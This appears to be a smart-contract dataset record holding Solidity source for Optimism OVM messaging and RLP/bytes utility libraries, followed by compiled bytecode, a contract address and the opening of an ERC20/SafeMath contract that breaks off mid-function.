_gasLimit Gas limit for the provided message. */ function sendMessage( address _target, bytes calldata _message, uint32 _gasLimit ) external; } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_OVMCodec } from "../../../libraries/codec/Lib_OVMCodec.sol"; /* Interface Imports */ import { iOVM_CrossDomainMessenger } from "./iOVM_CrossDomainMessenger.sol"; /** * @title iOVM_L1CrossDomainMessenger */ interface iOVM_L1CrossDomainMessenger is iOVM_CrossDomainMessenger { /******************* * Data Structures * *******************/ struct L2MessageInclusionProof { bytes32 stateRoot; Lib_OVMCodec.ChainBatchHeader stateRootBatchHeader; Lib_OVMCodec.ChainInclusionProof stateRootProof; bytes stateTrieWitness; bytes storageTrieWitness; } /******************** * Public Functions * ********************/ /** * Relays a cross domain message to a contract. * @param _target Target contract address. * @param _sender Message sender address. * @param _message Message to send to the target. * @param _messageNonce Nonce for the provided message. * @param _proof Inclusion proof for the given message. */ function relayMessage( address _target, address _sender, bytes memory _message, uint256 _messageNonce, L2MessageInclusionProof memory _proof ) external; /** * Replays a cross domain message to the target messenger. * @param _target Target contract address. * @param _sender Original sender address. * @param _message Message to send to the target. * @param _queueIndex CTC Queue index for the message to replay. * @param _gasLimit Gas limit for the provided message. */ function replayMessage( address _target, address _sender, bytes memory _message, uint256 _queueIndex, uint32 _gasLimit ) external; } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Interface Imports */ import { iOVM_L1CrossDomainMessenger } from "../../../iOVM/bridge/messaging/iOVM_L1CrossDomainMessenger.sol"; interface iOVM_L1MultiMessageRelayer { struct L2ToL1Message { address target; address sender; bytes message; uint256 messageNonce; iOVM_L1CrossDomainMessenger.L2MessageInclusionProof proof; } function batchRelayMessages(L2ToL1Message[] calldata _messages) external; } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports */ import { Lib_RLPReader } from "../rlp/Lib_RLPReader.sol"; import { Lib_RLPWriter } from "../rlp/Lib_RLPWriter.sol"; import { Lib_BytesUtils } from "../utils/Lib_BytesUtils.sol"; import { Lib_Bytes32Utils } from "../utils/Lib_Bytes32Utils.sol"; /** * @title Lib_OVMCodec */ library Lib_OVMCodec { /********* * Enums * *********/ enum QueueOrigin { SEQUENCER_QUEUE, L1TOL2_QUEUE } /*********** * Structs * ***********/ struct Account { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; address ethAddress; bool isFresh; } struct EVMAccount { uint256 nonce; uint256 balance; bytes32 storageRoot; bytes32 codeHash; } struct ChainBatchHeader { uint256 batchIndex; bytes32 batchRoot; uint256 batchSize; uint256 prevTotalElements; bytes extraData; } struct ChainInclusionProof { uint256 index; bytes32[] siblings; } struct Transaction { uint256 timestamp; uint256 blockNumber; QueueOrigin l1QueueOrigin; address l1TxOrigin; address entrypoint; uint256 gasLimit; bytes data; } struct TransactionChainElement { bool isSequenced; uint256 queueIndex; // QUEUED TX ONLY uint256 timestamp; // SEQUENCER TX ONLY uint256 blockNumber; // SEQUENCER TX ONLY bytes txData; // SEQUENCER TX ONLY } struct QueueElement { bytes32 transactionHash; uint40 timestamp; uint40 blockNumber; } /********************** * Internal Functions * **********************/ /** * Encodes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Encoded transaction bytes. */ function encodeTransaction( Transaction memory _transaction ) internal pure returns ( bytes memory ) { return abi.encodePacked( _transaction.timestamp, _transaction.blockNumber, _transaction.l1QueueOrigin, _transaction.l1TxOrigin, _transaction.entrypoint, _transaction.gasLimit, _transaction.data ); } /** * Hashes a standard OVM transaction. * @param _transaction OVM transaction to encode. * @return Hashed transaction */ function hashTransaction( Transaction memory _transaction ) internal pure returns ( bytes32 ) { return keccak256(encodeTransaction(_transaction)); } /** * Converts an OVM account to an EVM account. * @param _in OVM account to convert. * @return Converted EVM account. */ function toEVMAccount( Account memory _in ) internal pure returns ( EVMAccount memory ) { return EVMAccount({ nonce: _in.nonce, balance: _in.balance, storageRoot: _in.storageRoot, codeHash: _in.codeHash }); } /** * @notice RLP-encodes an account state struct. * @param _account Account state struct. * @return RLP-encoded account state. */ function encodeEVMAccount( EVMAccount memory _account ) internal pure returns ( bytes memory ) { bytes[] memory raw = new bytes[](4); // Unfortunately we can't create this array outright because // Lib_RLPWriter.writeList will reject fixed-size arrays. Assigning // index-by-index circumvents this issue. raw[0] = Lib_RLPWriter.writeBytes( Lib_Bytes32Utils.removeLeadingZeros( bytes32(_account.nonce) ) ); raw[1] = Lib_RLPWriter.writeBytes( Lib_Bytes32Utils.removeLeadingZeros( bytes32(_account.balance) ) ); raw[2] = Lib_RLPWriter.writeBytes(abi.encodePacked(_account.storageRoot)); raw[3] = Lib_RLPWriter.writeBytes(abi.encodePacked(_account.codeHash)); return Lib_RLPWriter.writeList(raw); } /** * @notice Decodes an RLP-encoded account state into a useful struct. * @param _encoded RLP-encoded account state. * @return Account state struct. */ function decodeEVMAccount( bytes memory _encoded ) internal pure returns ( EVMAccount memory ) { Lib_RLPReader.RLPItem[] memory accountState = Lib_RLPReader.readList(_encoded); return EVMAccount({ nonce: Lib_RLPReader.readUint256(accountState[0]), balance: Lib_RLPReader.readUint256(accountState[1]), storageRoot: Lib_RLPReader.readBytes32(accountState[2]), codeHash: Lib_RLPReader.readBytes32(accountState[3]) }); } /** * Calculates a hash for a given batch header. * @param _batchHeader Header to hash. * @return Hash of the header. */ function hashBatchHeader( Lib_OVMCodec.ChainBatchHeader memory _batchHeader ) internal pure returns ( bytes32 ) { return keccak256( abi.encode( _batchHeader.batchRoot, _batchHeader.batchSize, _batchHeader.prevTotalElements, _batchHeader.extraData ) ); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* External Imports */ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Lib_AddressManager */ contract Lib_AddressManager is Ownable { /********** * Events * **********/ event AddressSet( string indexed _name, address _newAddress, address _oldAddress ); /************* * Variables * *************/ mapping (bytes32 => address) private addresses; /******************** * Public Functions * ********************/ /** * Changes the address associated with a particular name. * @param _name String name to associate an address with. * @param _address Address to associate with the name. */ function setAddress( string memory _name, address _address ) external onlyOwner { bytes32 nameHash = _getNameHash(_name); address oldAddress = addresses[nameHash]; addresses[nameHash] = _address; emit AddressSet( _name, _address, oldAddress ); } /** * Retrieves the address associated with a given name. * @param _name Name to retrieve an address for. * @return Address associated with the given name. */ function getAddress( string memory _name ) external view returns ( address ) { return addresses[_getNameHash(_name)]; } /********************** * Internal Functions * **********************/ /** * Computes the hash of a name. * @param _name Name to compute a hash for. * @return Hash of the given name. */ function _getNameHash( string memory _name ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_name)); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /* Library Imports */ import { Lib_AddressManager } from "./Lib_AddressManager.sol"; /** * @title Lib_AddressResolver */ abstract contract Lib_AddressResolver { /************* * Variables * *************/ Lib_AddressManager public libAddressManager; /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Lib_AddressManager. */ constructor( address _libAddressManager ) { libAddressManager = Lib_AddressManager(_libAddressManager); } /******************** * Public Functions * ********************/ /** * Resolves the address associated with a given name. * @param _name Name to resolve an address for. * @return Address associated with the given name. */ function resolve( string memory _name ) public view returns ( address ) { return libAddressManager.getAddress(_name); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /** * @title Lib_RLPReader * @dev Adapted from "RLPReader" by Hamdi Allam ([email protected]). */ library Lib_RLPReader { /************* * Constants * *************/ uint256 constant internal MAX_LIST_LENGTH = 32; /********* * Enums * *********/ enum RLPItemType { DATA_ITEM, LIST_ITEM } /*********** * Structs * ***********/ struct RLPItem { uint256 length; uint256 ptr; } /********************** * Internal Functions * **********************/ /** * Converts bytes to a reference to memory position and length. * @param _in Input bytes to convert. * @return Output memory reference. */ function toRLPItem( bytes memory _in ) internal pure returns ( RLPItem memory ) { uint256 ptr; assembly { ptr := add(_in, 32) } return RLPItem({ length: _in.length, ptr: ptr }); } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList( RLPItem memory _in ) internal pure returns ( RLPItem[] memory ) { ( uint256 listOffset, , RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.LIST_ITEM, "Invalid RLP list value." ); // Solidity in-memory arrays can't be increased in size, but *can* be decreased in size by // writing to the length. Since we can't know the number of RLP items without looping over // the entire input, we'd have to loop twice to accurately size this array. It's easier to // simply set a reasonable maximum list length and decrease the size before we finish. RLPItem[] memory out = new RLPItem[](MAX_LIST_LENGTH); uint256 itemCount = 0; uint256 offset = listOffset; while (offset < _in.length) { require( itemCount < MAX_LIST_LENGTH, "Provided RLP list exceeds max list length." ); ( uint256 itemOffset, uint256 itemLength, ) = _decodeLength(RLPItem({ length: _in.length - offset, ptr: _in.ptr + offset })); out[itemCount] = RLPItem({ length: itemLength + itemOffset, ptr: _in.ptr + offset }); itemCount += 1; offset += itemOffset + itemLength; } // Decrease the array size to match the actual item count. assembly { mstore(out, itemCount) } return out; } /** * Reads an RLP list value into a list of RLP items. * @param _in RLP list value. * @return Decoded RLP list items. */ function readList( bytes memory _in ) internal pure returns ( RLPItem[] memory ) { return readList( toRLPItem(_in) ); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes( RLPItem memory _in ) internal pure returns ( bytes memory ) { ( uint256 itemOffset, uint256 itemLength, RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes value." ); return _copy(_in.ptr, itemOffset, itemLength); } /** * Reads an RLP bytes value into bytes. * @param _in RLP bytes value. * @return Decoded bytes. */ function readBytes( bytes memory _in ) internal pure returns ( bytes memory ) { return readBytes( toRLPItem(_in) ); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString( RLPItem memory _in ) internal pure returns ( string memory ) { return string(readBytes(_in)); } /** * Reads an RLP string value into a string. * @param _in RLP string value. * @return Decoded string. */ function readString( bytes memory _in ) internal pure returns ( string memory ) { return readString( toRLPItem(_in) ); } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32( RLPItem memory _in ) internal pure returns ( bytes32 ) { require( _in.length <= 33, "Invalid RLP bytes32 value." ); ( uint256 itemOffset, uint256 itemLength, RLPItemType itemType ) = _decodeLength(_in); require( itemType == RLPItemType.DATA_ITEM, "Invalid RLP bytes32 value." ); uint256 ptr = _in.ptr + itemOffset; bytes32 out; assembly { out := mload(ptr) // Shift the bytes over to match the item size. if lt(itemLength, 32) { out := div(out, exp(256, sub(32, itemLength))) } } return out; } /** * Reads an RLP bytes32 value into a bytes32. * @param _in RLP bytes32 value. * @return Decoded bytes32. */ function readBytes32( bytes memory _in ) internal pure returns ( bytes32 ) { return readBytes32( toRLPItem(_in) ); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256( RLPItem memory _in ) internal pure returns ( uint256 ) { return uint256(readBytes32(_in)); } /** * Reads an RLP uint256 value into a uint256. * @param _in RLP uint256 value. * @return Decoded uint256. */ function readUint256( bytes memory _in ) internal pure returns ( uint256 ) { return readUint256( toRLPItem(_in) ); } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool( RLPItem memory _in ) internal pure returns ( bool ) { require( _in.length == 1, "Invalid RLP boolean value." ); uint256 ptr = _in.ptr; uint256 out; assembly { out := byte(0, mload(ptr)) } require( out == 0 || out == 1, "Lib_RLPReader: Invalid RLP boolean value, must be 0 or 1" ); return out != 0; } /** * Reads an RLP bool value into a bool. * @param _in RLP bool value. * @return Decoded bool. */ function readBool( bytes memory _in ) internal pure returns ( bool ) { return readBool( toRLPItem(_in) ); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress( RLPItem memory _in ) internal pure returns ( address ) { if (_in.length == 1) { return address(0); } require( _in.length == 21, "Invalid RLP address value." ); return address(readUint256(_in)); } /** * Reads an RLP address value into a address. * @param _in RLP address value. * @return Decoded address. */ function readAddress( bytes memory _in ) internal pure returns ( address ) { return readAddress( toRLPItem(_in) ); } /** * Reads the raw bytes of an RLP item. * @param _in RLP item to read. * @return Raw RLP bytes. */ function readRawBytes( RLPItem memory _in ) internal pure returns ( bytes memory ) { return _copy(_in); } /********************* * Private Functions * *********************/ /** * Decodes the length of an RLP item. * @param _in RLP item to decode. * @return Offset of the encoded data. * @return Length of the encoded data. * @return RLP item type (LIST_ITEM or DATA_ITEM). */ function _decodeLength( RLPItem memory _in ) private pure returns ( uint256, uint256, RLPItemType ) { require( _in.length > 0, "RLP item cannot be null." ); uint256 ptr = _in.ptr; uint256 prefix; assembly { prefix := byte(0, mload(ptr)) } if (prefix <= 0x7f) { // Single byte. return (0, 1, RLPItemType.DATA_ITEM); } else if (prefix <= 0xb7) { // Short string. uint256 strLen = prefix - 0x80; require( _in.length > strLen, "Invalid RLP short string." ); return (1, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xbf) { // Long string. uint256 lenOfStrLen = prefix - 0xb7; require( _in.length > lenOfStrLen, "Invalid RLP long string length." ); uint256 strLen; assembly { // Pick out the string length. strLen := div( mload(add(ptr, 1)), exp(256, sub(32, lenOfStrLen)) ) } require( _in.length > lenOfStrLen + strLen, "Invalid RLP long string." ); return (1 + lenOfStrLen, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xf7) { // Short list. uint256 listLen = prefix - 0xc0; require( _in.length > listLen, "Invalid RLP short list." ); return (1, listLen, RLPItemType.LIST_ITEM); } else { // Long list. uint256 lenOfListLen = prefix - 0xf7; require( _in.length > lenOfListLen, "Invalid RLP long list length." ); uint256 listLen; assembly { // Pick out the list length. listLen := div( mload(add(ptr, 1)), exp(256, sub(32, lenOfListLen)) ) } require( _in.length > lenOfListLen + listLen, "Invalid RLP long list." ); return (1 + lenOfListLen, listLen, RLPItemType.LIST_ITEM); } } /** * Copies the bytes from a memory location. * @param _src Pointer to the location to read from. * @param _offset Offset to start reading from. * @param _length Number of bytes to read. * @return Copied bytes. */ function _copy( uint256 _src, uint256 _offset, uint256 _length ) private pure returns ( bytes memory ) { bytes memory out = new bytes(_length); if (out.length == 0) { return out; } uint256 src = _src + _offset; uint256 dest; assembly { dest := add(out, 32) } // Copy over as many complete words as we can. for (uint256 i = 0; i < _length / 32; i++) { assembly { mstore(dest, mload(src)) } src += 32; dest += 32; } // Pick out the remaining bytes. uint256 mask = 256 ** (32 - (_length % 32)) - 1; assembly { mstore( dest, or( and(mload(src), not(mask)), and(mload(dest), mask) ) ) } return out; } /** * Copies an RLP item into bytes. * @param _in RLP item to copy. * @return Copied bytes. */ function _copy( RLPItem memory _in ) private pure returns ( bytes memory ) { return _copy(_in.ptr, 0, _in.length); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /** * @title Lib_RLPWriter * @author Bakaoh (with modifications) */ library Lib_RLPWriter { /********************** * Internal Functions * **********************/ /** * RLP encodes a byte string. * @param _in The byte string to encode. * @return The RLP encoded string in bytes. */ function writeBytes( bytes memory _in ) internal pure returns ( bytes memory ) { bytes memory encoded; if (_in.length == 1 && uint8(_in[0]) < 128) { encoded = _in; } else { encoded = abi.encodePacked(_writeLength(_in.length, 128), _in); } return encoded; } /** * RLP encodes a list of RLP encoded byte byte strings. * @param _in The list of RLP encoded byte strings. * @return The RLP encoded list of items in bytes. */ function writeList( bytes[] memory _in ) internal pure returns ( bytes memory ) { bytes memory list = _flatten(_in); return abi.encodePacked(_writeLength(list.length, 192), list); } /** * RLP encodes a string. * @param _in The string to encode. * @return The RLP encoded string in bytes. */ function writeString( string memory _in ) internal pure returns ( bytes memory ) { return writeBytes(bytes(_in)); } /** * RLP encodes an address. * @param _in The address to encode. * @return The RLP encoded address in bytes. */ function writeAddress( address _in ) internal pure returns ( bytes memory ) { return writeBytes(abi.encodePacked(_in)); } /** * RLP encodes a bytes32 value. * @param _in The bytes32 to encode. * @return _out The RLP encoded bytes32 in bytes. */ function writeBytes32( bytes32 _in ) internal pure returns ( bytes memory _out ) { return writeBytes(abi.encodePacked(_in)); } /** * RLP encodes a uint. * @param _in The uint256 to encode. * @return The RLP encoded uint256 in bytes. */ function writeUint( uint256 _in ) internal pure returns ( bytes memory ) { return writeBytes(_toBinary(_in)); } /** * RLP encodes a bool. * @param _in The bool to encode. * @return The RLP encoded bool in bytes. */ function writeBool( bool _in ) internal pure returns ( bytes memory ) { bytes memory encoded = new bytes(1); encoded[0] = (_in ? bytes1(0x01) : bytes1(0x80)); return encoded; } /********************* * Private Functions * *********************/ /** * Encode the first byte, followed by the `len` in binary form if `length` is more than 55. * @param _len The length of the string or the payload. * @param _offset 128 if item is string, 192 if item is list. * @return RLP encoded bytes. */ function _writeLength( uint256 _len, uint256 _offset ) private pure returns ( bytes memory ) { bytes memory encoded; if (_len < 56) { encoded = new bytes(1); encoded[0] = byte(uint8(_len) + uint8(_offset)); } else { uint256 lenLen; uint256 i = 1; while (_len / i != 0) { lenLen++; i *= 256; } encoded = new bytes(lenLen + 1); encoded[0] = byte(uint8(lenLen) + uint8(_offset) + 55); for(i = 1; i <= lenLen; i++) { encoded[i] = byte(uint8((_len / (256**(lenLen-i))) % 256)); } } return encoded; } /** * Encode integer in big endian binary form with no leading zeroes. * @notice TODO: This should be optimized with assembly to save gas costs. * @param _x The integer to encode. * @return RLP encoded bytes. */ function _toBinary( uint256 _x ) private pure returns ( bytes memory ) { bytes memory b = abi.encodePacked(_x); uint256 i = 0; for (; i < 32; i++) { if (b[i] != 0) { break; } } bytes memory res = new bytes(32 - i); for (uint256 j = 0; j < res.length; j++) { res[j] = b[i++]; } return res; } /** * Copies a piece of memory to another location. * @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol. * @param _dest Destination location. * @param _src Source location. * @param _len Length of memory to copy. */ function _memcpy( uint256 _dest, uint256 _src, uint256 _len ) private pure { uint256 dest = _dest; uint256 src = _src; uint256 len = _len; for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint256 mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /** * Flattens a list of byte strings into one byte string. * @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol. * @param _list List of byte strings to flatten. * @return The flattened byte string. */ function _flatten( bytes[] memory _list ) private pure returns ( bytes memory ) { if (_list.length == 0) { return new bytes(0); } uint256 len; uint256 i = 0; for (; i < _list.length; i++) { len += _list[i].length; } bytes memory flattened = new bytes(len); uint256 flattenedPtr; assembly { flattenedPtr := add(flattened, 0x20) } for(i = 0; i < _list.length; i++) { bytes memory item = _list[i]; uint256 listPtr; assembly { listPtr := add(item, 0x20)} _memcpy(flattenedPtr, listPtr, item.length); flattenedPtr += _list[i].length; } return flattened; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /** * @title Lib_Byte32Utils */ library Lib_Bytes32Utils { /********************** * Internal Functions * **********************/ /** * Converts a bytes32 value to a boolean. Anything non-zero will be converted to "true." * @param _in Input bytes32 value. * @return Bytes32 as a boolean. */ function toBool( bytes32 _in ) internal pure returns ( bool ) { return _in != 0; } /** * Converts a boolean to a bytes32 value. * @param _in Input boolean value. * @return Boolean as a bytes32. */ function fromBool( bool _in ) internal pure returns ( bytes32 ) { return bytes32(uint256(_in ? 1 : 0)); } /** * Converts a bytes32 value to an address. Takes the *last* 20 bytes. * @param _in Input bytes32 value. * @return Bytes32 as an address. */ function toAddress( bytes32 _in ) internal pure returns ( address ) { return address(uint160(uint256(_in))); } /** * Converts an address to a bytes32. * @param _in Input address value. * @return Address as a bytes32. */ function fromAddress( address _in ) internal pure returns ( bytes32 ) { return bytes32(uint256(_in)); } /** * Removes the leading zeros from a bytes32 value and returns a new (smaller) bytes value. * @param _in Input bytes32 value. * @return Bytes32 without any leading zeros. */ function removeLeadingZeros( bytes32 _in ) internal pure returns ( bytes memory ) { bytes memory out; assembly { // Figure out how many leading zero bytes to remove. let shift := 0 for { let i := 0 } and(lt(i, 32), eq(byte(i, _in), 0)) { i := add(i, 1) } { shift := add(shift, 1) } // Reserve some space for our output and fix the free memory pointer. out := mload(0x40) mstore(0x40, add(out, 0x40)) // Shift the value and store it into the output bytes. mstore(add(out, 0x20), shl(mul(shift, 8), _in)) // Store the new size (with leading zero bytes removed) in the output byte size. mstore(out, sub(32, shift)) } return out; } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; /** * @title Lib_BytesUtils */ library Lib_BytesUtils { /********************** * Internal Functions * **********************/ function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns ( bytes memory ) { require(_length + 31 >= _length, "slice_overflow"); require(_start + _length >= _start, "slice_overflow"); require(_bytes.length >= _start + _length, "slice_outOfBounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function slice( bytes memory _bytes, uint256 _start ) internal pure returns ( bytes memory ) { if (_start >= _bytes.length) { return bytes(''); } return slice(_bytes, _start, _bytes.length - _start); } function toBytes32PadLeft( bytes memory _bytes ) internal pure returns ( bytes32 ) { bytes32 ret; uint256 len = _bytes.length <= 32 ? _bytes.length : 32; assembly { ret := shr(mul(sub(32, len), 8), mload(add(_bytes, 32))) } return ret; } function toBytes32( bytes memory _bytes ) internal pure returns ( bytes32 ) { if (_bytes.length < 32) { bytes32 ret; assembly { ret := mload(add(_bytes, 32)) } return ret; } return abi.decode(_bytes,(bytes32)); // will truncate if input length > 32 bytes } function toUint256( bytes memory _bytes ) internal pure returns ( uint256 ) { return uint256(toBytes32(_bytes)); } function toUint24( bytes memory _bytes, uint256 _start ) internal pure returns ( uint24 ) { require(_start + 3 >= _start, "toUint24_overflow"); require(_bytes.length >= _start + 3 , "toUint24_outOfBounds"); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } function toUint8( bytes memory _bytes, uint256 _start ) internal pure returns ( uint8 ) { require(_start + 1 >= _start, "toUint8_overflow"); require(_bytes.length >= _start + 1 , "toUint8_outOfBounds"); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function toAddress( bytes memory _bytes, uint256 _start ) internal pure returns ( address ) { require(_start + 20 >= _start, "toAddress_overflow"); require(_bytes.length >= _start + 20, "toAddress_outOfBounds"); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toNibbles( bytes memory _bytes ) internal pure returns ( bytes memory ) { bytes memory nibbles = new bytes(_bytes.length * 2); for (uint256 i = 0; i < _bytes.length; i++) { nibbles[i * 2] = _bytes[i] >> 4; nibbles[i * 2 + 1] = bytes1(uint8(_bytes[i]) % 16); } return nibbles; } function fromNibbles( bytes memory _bytes ) internal pure returns ( bytes memory ) { bytes memory ret = new bytes(_bytes.length / 2); for (uint256 i = 0; i < ret.length; i++) { ret[i] = (_bytes[i * 2] << 4) | (_bytes[i * 2 + 1]); } return ret; } function equal( bytes memory _bytes, bytes memory _other ) internal pure returns ( bool ) { return keccak256(_bytes) == keccak256(_other); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806316e9cd9b14610046578063299ca4781461005b578063461a447814610079575b600080fd5b61005961005436600461057d565b61008c565b005b6100636101ea565b60405161007091906106db565b60405180910390f35b6100636100873660046105ec565b6101f9565b6100ca6040518060400160405280601981526020017f4f564d5f4c3242617463684d65737361676552656c61796572000000000000008152506101f9565b6001600160a01b0316336001600160a01b0316146101035760405162461bcd60e51b81526004016100fa906107d7565b60405180910390fd5b600061012660405180606001604052806021815260200161093b602191396101f9565b905060005b828110156101e457600084848381811061014157fe5b9050602002810190610153919061085a565b61015c9061089d565b8051602082015160408084015160608501516080860151925163d7fd19dd60e01b81529596506001600160a01b0389169563d7fd19dd956101a5959094909392916004016106ef565b600060405180830381600087803b1580156101bf57600080fd5b505af11580156101d3573d6000803e3d6000fd5b50506001909301925061012b915050565b50505050565b6000546001600160a01b031681565b6000805460405163bf40fac160e01b81526020600482018181528551602484015285516001600160a01b039094169363bf40fac19387938392604490920191908501908083838b5b83811015610259578181015183820152602001610241565b50505050905090810190601f1680156102865780820380516001836020036101000a031916815260200191505b509250505060206040518083038186803b1580156102a357600080fd5b505afa1580156102b7573d6000803e3d6000fd5b505050506040513d60208110156102cd57600080fd5b505190505b919050565b600067ffffffffffffffff8311156102eb57fe5b6102fe601f8401601f1916602001610879565b905082815283838301111561031257600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b03811681146102d257600080fd5b600082601f830112610350578081fd5b61035f838335602085016102d7565b9392505050565b600060a08284031215610377578081fd5b60405160a0810167ffffffffffffffff828210818311171561039557fe5b816040528293508435835260208501356020840152604085013560408401526060850135606084015260808501359150808211156103d257600080fd5b506103df85828601610340565b6080830152505092915050565b6000604082840312156103fd578081fd5b6040516040810167ffffffffffffffff828210818311171561041b57fe5b816040528293508435835260209150818501358181111561043b57600080fd5b8501601f8101871361044c57600080fd5b80358281111561045857fe5b8381029250610468848401610879565b8181528481019083860185850187018b101561048357600080fd5b600095505b838610156104a6578035835260019590950194918601918601610488565b5080868801525050505050505092915050565b600060a082840312156104ca578081fd5b6104d460a0610879565b905081358152602082013567ffffffffffffffff808211156104f557600080fd5b61050185838601610366565b6020840152604084013591508082111561051a57600080fd5b610526858386016103ec565b6040840152606084013591508082111561053f57600080fd5b61054b85838601610340565b6060840152608084013591508082111561056457600080fd5b5061057184828501610340565b60808301525092915050565b6000806020838503121561058f578182fd5b823567ffffffffffffffff808211156105a6578384fd5b818501915085601f8301126105b9578384fd5b8135818111156105c7578485fd5b86602080830285010111156105da578485fd5b60209290920196919550909350505050565b6000602082840312156105fd578081fd5b813567ffffffffffffffff811115610613578182fd5b8201601f81018413610623578182fd5b610632848235602084016102d7565b949350505050565b60008151808452815b8181101561065f57602081850181015186830182015201610643565b818111156106705782602083870101525b50601f01601f19169290920160200192915050565b6000604083018251845260208084015160408287015282815180855260608801915083830194508592505b808310156106d057845182529383019360019290920191908301906106b0565b509695505050505050565b6001600160a01b0391909116815260200190565b6001600160a01b0386811682528516602082015260a06040820181905260009061071b9083018661063a565b846060840152828103608084015283518152602084015160a06020830152805160a0830152602081015160c0830152604081015160e083015260608101516101008301526080810151905060a061012083015261077c61014083018261063a565b9050604085015182820360408401526107958282610685565b915050606085015182820360608401526107af828261063a565b915050608085015182820360808401526107c9828261063a565b9a9950505050505050505050565b60208082526057908201527f4f564d5f4c314d756c74694d65737361676552656c617965723a2046756e637460408201527f696f6e2063616e206f6e6c792062652063616c6c656420627920746865204f5660608201527f4d5f4c3242617463684d65737361676552656c61796572000000000000000000608082015260a00190565b60008235609e1983360301811261086f578182fd5b9190910192915050565b60405181810167ffffffffffffffff8111828210171561089557fe5b604052919050565b600060a082360312156108ae578081fd5b60405160a0810167ffffffffffffffff82821081831117156108cc57fe5b816040526108d985610329565b83526108e760208601610329565b602084015260408501359150808211156108ff578384fd5b61090b36838701610340565b604084015260608501356060840152608085013591508082111561092d578384fd5b50610571368286016104b956fe50726f78795f5f4f564d5f4c3143726f7373446f6d61696e4d657373656e676572a2646970667358221220ca6bebf589e0e196a7eecc58e0f8a7270f00ec6d1a5d6a61d75748f6e061f36f64736f6c63430007060033
[ 38 ]
0xF263a8AEb4fC6382Ff89926D48734151D3C00Bf5
// SPDX-License-Identifier: MIT pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function decimals() external view returns (uint); function name() external view returns (string memory); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, 